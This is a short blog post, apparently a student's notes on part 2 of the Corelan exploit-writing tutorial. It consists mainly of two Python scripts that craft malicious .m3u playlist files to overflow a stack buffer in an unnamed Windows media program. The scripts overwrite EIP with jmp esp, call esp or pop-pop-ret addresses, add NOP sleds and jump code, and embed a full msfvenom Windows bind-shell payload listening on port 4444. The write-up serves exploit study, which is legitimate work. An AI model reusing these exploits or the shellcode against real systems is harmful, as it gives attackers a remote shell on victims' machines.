Reviewing Corelan Exploit Writing Part 2

I was reviewing the Corelan Exploit Tutotials Part 2 located here.  Below is the python code that I have created following the tutorial.

#!/usr/bin/python

# msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x20\x0a\x0d' -f python
# No platform was selected, choosing Msf::Module::Platform::Windows from the payload
# No Arch selected, selecting Arch: x86 from the payload
# Found 22 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 355 (iteration=0)
buf =  ""
buf += "\xbb\x06\xf1\x81\xb7\xdd\xc3\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x53\x31\x58\x12\x83\xe8\xfc\x03\x5e\xff\x63"
buf += "\x42\xa2\x17\xe1\xad\x5a\xe8\x86\x24\xbf\xd9\x86\x53"
buf += "\xb4\x4a\x37\x17\x98\x66\xbc\x75\x08\xfc\xb0\x51\x3f"
buf += "\xb5\x7f\x84\x0e\x46\xd3\xf4\x11\xc4\x2e\x29\xf1\xf5"
buf += "\xe0\x3c\xf0\x32\x1c\xcc\xa0\xeb\x6a\x63\x54\x9f\x27"
buf += "\xb8\xdf\xd3\xa6\xb8\x3c\xa3\xc9\xe9\x93\xbf\x93\x29"
buf += "\x12\x13\xa8\x63\x0c\x70\x95\x3a\xa7\x42\x61\xbd\x61"
buf += "\x9b\x8a\x12\x4c\x13\x79\x6a\x89\x94\x62\x19\xe3\xe6"
buf += "\x1f\x1a\x30\x94\xfb\xaf\xa2\x3e\x8f\x08\x0e\xbe\x5c"
buf += "\xce\xc5\xcc\x29\x84\x81\xd0\xac\x49\xba\xed\x25\x6c"
buf += "\x6c\x64\x7d\x4b\xa8\x2c\x25\xf2\xe9\x88\x88\x0b\xe9"
buf += "\x72\x74\xae\x62\x9e\x61\xc3\x29\xf7\x46\xee\xd1\x07"
buf += "\xc1\x79\xa2\x35\x4e\xd2\x2c\x76\x07\xfc\xab\x79\x32"
buf += "\xb8\x23\x84\xbd\xb9\x6a\x43\xe9\xe9\x04\x62\x92\x61"
buf += "\xd4\x8b\x47\x1f\xdc\x2a\x38\x02\x21\x8c\xe8\x82\x89"
buf += "\x65\xe3\x0c\xf6\x96\x0c\xc7\x9f\x3f\xf1\xe8\x8e\xe3"
buf += "\x7c\x0e\xda\x0b\x29\x98\x72\xee\x0e\x11\xe5\x11\x65"
buf += "\x09\x81\x5a\x6f\x8e\xae\x5a\xa5\xb8\x38\xd1\xaa\x7c"
buf += "\x59\xe6\xe6\xd4\x0e\x71\x7c\xb5\x7d\xe3\x81\x9c\x15"
buf += "\x80\x10\x7b\xe5\xcf\x08\xd4\xb2\x98\xff\x2d\x56\x35"
buf += "\x59\x84\x44\xc4\x3f\xef\xcc\x13\xfc\xee\xcd\xd6\xb8"
buf += "\xd4\xdd\x2e\x40\x51\x89\xfe\x17\x0f\x67\xb9\xc1\xe1"
buf += "\xd1\x13\xbd\xab\xb5\xe2\x8d\x6b\xc3\xea\xdb\x1d\x2b"
buf += "\x5a\xb2\x5b\x54\x53\x52\x6c\x2d\x89\xc2\x93\xe4\x09"
buf += "\xf2\xd9\xa4\x38\x9b\x87\x3d\x79\xc6\x37\xe8\xbe\xff"
buf += "\xbb\x18\x3f\x04\xa3\x69\x3a\x40\x63\x82\x36\xd9\x06"
buf += "\xa4\xe5\xda\x02"

file = open("5.m3u", "w")
junk = "\x41"*26059
# 1 - works
# Searched for jmp esp in all commands and found one without \x00 in the address
# Address for JMP ESP 0x01a8f23a - This address goes in as EIP
#eip  = "\x3a\xf2\xa8\x01"

# 2 - works
# Searched for call esp in all commands
# Address for CALL ESP 0x5d091421   ## Worked
# Address for CALL ESP 0x773d1419
#eip = "\x21\x14\x09\x5d"

# 3 - works
# Searched for POP r32 POP r32 RETN
# This pops 2 addresses off of the stack and then places the next address in EIP
# Address 0x01851118
# POP ESI
# POP EBP
# RETN
eip = "\x18\x11\x85\x01"
junk += eip
junk += "C"*4 # Offset to where the ESP points to
junk += "\x90" * 8
# Searched for jmp esp in all commands and found one without \x00 in the address
# Address for JMP ESP 0x01a8f23a - This address goes in as EIP
junk += "\x3a\xf2\xa8\x01"
junk += "\x90" * 100
junk += buf
junk += "\x41" * (30000 - len(junk))

file.write(junk)
file.close()

# v1 Script
# Using a "call esp"


This is the second script...

#!/usr/bin/python

# msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x20\x0a\x0d' -f python
# No platform was selected, choosing Msf::Module::Platform::Windows from the payload
# No Arch selected, selecting Arch: x86 from the payload
# Found 22 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 355 (iteration=0)
buf =  ""
buf += "\xbb\x06\xf1\x81\xb7\xdd\xc3\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x53\x31\x58\x12\x83\xe8\xfc\x03\x5e\xff\x63"
buf += "\x42\xa2\x17\xe1\xad\x5a\xe8\x86\x24\xbf\xd9\x86\x53"
buf += "\xb4\x4a\x37\x17\x98\x66\xbc\x75\x08\xfc\xb0\x51\x3f"
buf += "\xb5\x7f\x84\x0e\x46\xd3\xf4\x11\xc4\x2e\x29\xf1\xf5"
buf += "\xe0\x3c\xf0\x32\x1c\xcc\xa0\xeb\x6a\x63\x54\x9f\x27"
buf += "\xb8\xdf\xd3\xa6\xb8\x3c\xa3\xc9\xe9\x93\xbf\x93\x29"
buf += "\x12\x13\xa8\x63\x0c\x70\x95\x3a\xa7\x42\x61\xbd\x61"
buf += "\x9b\x8a\x12\x4c\x13\x79\x6a\x89\x94\x62\x19\xe3\xe6"
buf += "\x1f\x1a\x30\x94\xfb\xaf\xa2\x3e\x8f\x08\x0e\xbe\x5c"
buf += "\xce\xc5\xcc\x29\x84\x81\xd0\xac\x49\xba\xed\x25\x6c"
buf += "\x6c\x64\x7d\x4b\xa8\x2c\x25\xf2\xe9\x88\x88\x0b\xe9"
buf += "\x72\x74\xae\x62\x9e\x61\xc3\x29\xf7\x46\xee\xd1\x07"
buf += "\xc1\x79\xa2\x35\x4e\xd2\x2c\x76\x07\xfc\xab\x79\x32"
buf += "\xb8\x23\x84\xbd\xb9\x6a\x43\xe9\xe9\x04\x62\x92\x61"
buf += "\xd4\x8b\x47\x1f\xdc\x2a\x38\x02\x21\x8c\xe8\x82\x89"
buf += "\x65\xe3\x0c\xf6\x96\x0c\xc7\x9f\x3f\xf1\xe8\x8e\xe3"
buf += "\x7c\x0e\xda\x0b\x29\x98\x72\xee\x0e\x11\xe5\x11\x65"
buf += "\x09\x81\x5a\x6f\x8e\xae\x5a\xa5\xb8\x38\xd1\xaa\x7c"
buf += "\x59\xe6\xe6\xd4\x0e\x71\x7c\xb5\x7d\xe3\x81\x9c\x15"
buf += "\x80\x10\x7b\xe5\xcf\x08\xd4\xb2\x98\xff\x2d\x56\x35"
buf += "\x59\x84\x44\xc4\x3f\xef\xcc\x13\xfc\xee\xcd\xd6\xb8"
buf += "\xd4\xdd\x2e\x40\x51\x89\xfe\x17\x0f\x67\xb9\xc1\xe1"
buf += "\xd1\x13\xbd\xab\xb5\xe2\x8d\x6b\xc3\xea\xdb\x1d\x2b"
buf += "\x5a\xb2\x5b\x54\x53\x52\x6c\x2d\x89\xc2\x93\xe4\x09"
buf += "\xf2\xd9\xa4\x38\x9b\x87\x3d\x79\xc6\x37\xe8\xbe\xff"
buf += "\xbb\x18\x3f\x04\xa3\x69\x3a\x40\x63\x82\x36\xd9\x06"
buf += "\xa4\xe5\xda\x02"

file = open("11.m3u", "w")

#pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

#junk = pattern
#junk += "\x41"*25059

# 4 - Script
# Doing a push return will take and push the address of the register on the stack
# Then return to the stack
# PUSH ESP
# RETN
# 0x0191cd65
#eip = "\x65\xcd\x91\x01"

# 5 - Script
# Placed a pattern of 1000 from metasploit
# Then found that the pattern starts 257 in on the pattern for the offset

junk = "A" * 250
junk += "\x90" * 50  # Placed some NOPs to slide to the shellcode verses guessing exactly
junk += buf  # Placed our shellcode at an offset of 300
junk += "A" * (26059 - len(junk))

#eip = "BBBB"
# Address for CALL ESP 0x5d091421   ## Worked
eip = "\x21\x14\x09\x5d"

junk += eip
#junk += "X" * 54  # Create our jumpcode
# add esp, 0x5e  (ESP + 94)
# add esp, 0x5e  (ESP + 94)
# add esp, 0x5e  (ESP + 94) - 282 Bytes after the current location of the stack pointer
# jmp esp

# https://defuse.ca/online-x86-assembler.htm
# Jump Code - "\x83\xC4\x5E\x83\xC4\x5E\x83\xC4\x5E\xFF\xE4"

junk += "X" * 4
junk += "\x83\xc4\x5e\x83\xc4\x5e\x83\c4\x5e\xff\xe4"
junk += "\x90" * 10

file.write(junk)
file.close()

# v1 Script
# Using a "call esp"

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